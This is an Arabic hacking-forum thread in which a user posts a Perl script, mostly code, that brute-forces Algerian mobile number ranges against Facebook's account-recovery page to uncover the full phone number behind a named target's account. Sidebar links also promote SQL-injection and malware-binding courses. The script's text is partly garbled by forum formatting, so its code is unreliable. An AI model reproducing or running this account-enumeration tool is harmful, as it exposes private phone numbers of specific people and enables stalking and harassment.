1. المٌقدمة الأولي :دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    تٌعد ثغرات حقن قواعد البينات الثغرة رقم واحد فى العالم والمصنفة تحت بند الإخطر
    والفريق التابع له بإختراق أكبر المواقع الصهيونية قرائة الموضوع
  2. المٌقدمة الثانية : دورة إختبار ثغرات حقن قواعد البيانات SQLI الإحترافية لعام 2017 عام 2018
    في هذه المٌثقدمة الثانية والأخيرة سوف نتعرف على قواعد علم حقن قواعد البيانات
    حتى يتثنى لنا علم يٌساعدنا على القيام بعمليات الحقن بالطرق الصحيحه قرائة الموضوع
  3. دورة كشف دمج والتلغيم حصريا على أرض عراق تيم(2017)
    بعد ماقمت بعمل دورة الكشف دمج والتلغيم وستكملت الدوره وتحتوي على 12 درس
    كانت دروس حصريا على عراق تيم وشرح واضح جدا ومفهوم الى المبتدأ والى المبدع قرائة الموضوع

[ نقاش ] سكريبت facebook phone number detecter

الموضوع في 'الـقـسـم الـعـام' بواسطة isdo213, بتاريخ ‏4 أغسطس 2014.

كاتب الموضوع : isdo213 المشاهدات : 465 الردود : 1 ‏4 أغسطس 2014
حالة الموضوع:
مغلق
  1. غير متصل

    isdo213 isdo213
    Developer

    عضو منذ:
    ‏16 مايو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    24
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    Web Developer
    الإقامة:

    [​IMG]

    [​IMG]


    الى المطورين والكل المبرمجين معي سكريبت
    facebook phone number detecter

    حيث دوره يتمثل في ايجاد رقم الهاتف لاي حساب فيسبوك كان مع العلم ان السكريبت مبرمج بلغة البيرل اضافة الة ارقام الدولة الجزائرية لكن يكمن التعديل عليه ووضع لارقام اي دولة &:"&:"&:"&:"

    كل ماعليك هو ايجاد سطر الهاتف في الفيسبوك لكي يعمل البيرل

    =D


    سلام احبابي :ُeُe11:
    [​IMG]

    كود PHP:

        
    #!/usr/bin/perl -w
         
        #! by isdo213 speciale version for algeria numbers
        #! release for public 04/05/2014
        #! for more information  th3isdo@gmail.com
        #! we D'ont need Opportunity to hack...we create the Opportunity we are hackerZ
         
        
    use strict;
        use 
    warnings;
         
        use 
    LWP::UserAgent;
         
        
    sub post_url {
        
    my$url$formref ) = @_;
         
        
    # set up a UserAgent object to handle our request
        
    my $ua = new LWP::UserAgent(timeout => 300);
         
        
    $ua->agent('perlproc/1.0');
         
        
    my $response $ua->post($url$formref );
         
        if( 
    $response->is_success ){
        return 
    $response->content;
        } else {
        return 
    undef;
        }
        }
         
        
    my $cant=;
        
    my $Backup_Count 0;
        
    sub back_and_print {
        
    my $text shift @_;  # no tabs, no newlines!
         
        
    print "\b" x $Backup_Count;
        print 
    " " x $Backup_Count;
        print 
    "\b" x $Backup_Count;
        
    $Backup_Count length $text;
        print 
    $text;
        }
         
        
    my $red="\e[1;31m";
        
    my $normal="\e[0m\n";
         
         
        print 
    "
        ------------------------------------------------------------
                                                                    |
        .%%%%%...%%%%%%.............. %%%%%..... %%....%%%%%%.      |
        .%%..%%.....%%...............    %%...  %%%.......%%..      |
        .%%..%%....%%........%%%%%%...%%%%..... %%......%%%..       |
        .%%..%%...%%................  %%........%%........%%.       |
        .%%%%%...%%%%%%.............. %%%%%%..%%%%%%..%%%%%..       |
                                                                    |
        |[+] Dz fb num Detecter                                     |
        |[+] isdo213|codes                |   thisdo[at]gmail[com]  |
        |[+] GreetZ: to All Dz HackerZ - the least hacker - iq team |
        ------------------------------------------------------------
        \n\n" 
    ;
         
        print 
    "enter the name of Target : ";
        
    my $name=<STDIN> ;
        
    chomp($name) ;
         
        print 
    "enter the last 4 numbers : ";
        
    my $number=<STDIN> ;
        print 
    "
        choose the user operator
         
        [1] djezzy
        [2] Nedjma
        [3] mobilis
        [4] all (djezzy,nedjma,mobilis)
         
        "
    ;
        
    my $op=<STDIN> ;
        print 
    "$red [+]be sure that you are login to your facebook in firefox $normal type any key for beggin search ";
        
    my $s=<> ;  
         
        if (
    $op =~ "1" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Djezzy numbers ..
        ===============================
        " 
    ;
        for( 
    my $i 77000$i<79999$i++ ){
        if (
    $i == "78000"){
        
    $i="79000" ;
        goto 
    aa ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/ ){
         
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
         
         
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
        else {
        if (
    $test =~ m/suspect/ ){
         
        
    $cant=$cant;
        print 
    "
         
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    aa ;
         
         
        }
         
         
         
         
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    aa:
        }
        }
         
        
    #===========================nedjma================================
         
        
    if ($op =~ "2" or $op =~ "4") {
        print 
    "
        ===============================
        scanning Nedjma numbers ..  
        ===============================
        "
    ;
        for( 
    my $i 55000$i<55999$i++ ){
         
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    a  ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    bb ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    bb:
        }
        }
        
    #======================================mobilis========================
         
        
    if ($op =~ "3" or $op =~ "4") {
        print 
    "
        ===============================
        scanning mobilis numbers ..  
        ===============================
        " 
    ;
        for( 
    my $i 66100$i<69999$i++ ){
        if (
    $i == "67000"){
        
    $i="69900" ;
        goto 
    cc ;
        }
        
    my $url "http://m.facebook.com/login/identify?ctx=recover";
        
    my $num "+213".$i.$number ;
        
    my %param = ( 'email' => $num);
         
        
    my $test post_url$url, \%param );
         
        
    my $id ="" ;
        
    my @test=[] ;
         
        if (
    $test =~ m/$name/){
        
    my @test split />/ ,$test ;
         
         
        if (
    $test[33] =~ m/(.*?)\</) {
        
    $id = $;
        }
         
        print
    "
         
        =============================
         
        [+]name of facebook is : 
    $id
        [+]phone number :  
    $num
         
        =============================
        "
    ;  
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
         
        goto 
    ;
         
        }
         
        else {
        if (
    $test =~ m/suspect/ ){
        
    $cant=$cant;
        print 
    "
        [
    $cant]suspect => $num
        "
    ;
        
    system ('firefox https://www.facebook.com/search/results.php?q='.$num) ;
        goto 
    cc ;
         
        }
        else {
        $|=
    ;
        
    back_and_print"" );
         
         }
         
         
         
        }
        
    cc:
        }
        }
         
         
        
    #=========================exite=============================
        
    a:
        print 
    "search finish  " ;

    [​IMG]

    [​IMG]

    [​IMG]
     


    جاري تحميل الصفحة...
  2. غير متصل

    isdo213 isdo213
    Developer

    عضو منذ:
    ‏16 مايو 2014
    عدد المشاركات:
    الإعجابات المتلقاة:
    24
    نقاط الجائزة:
    الجنس:
    ذكر
    الوظيفة:
    Web Developer
    الإقامة:

    رد: سكريبت facebook phone number detecter

    [​IMG]
     


الوسوم:
حالة الموضوع:
مغلق

مشاركة هذه الصفحة

جاري تحميل الصفحة...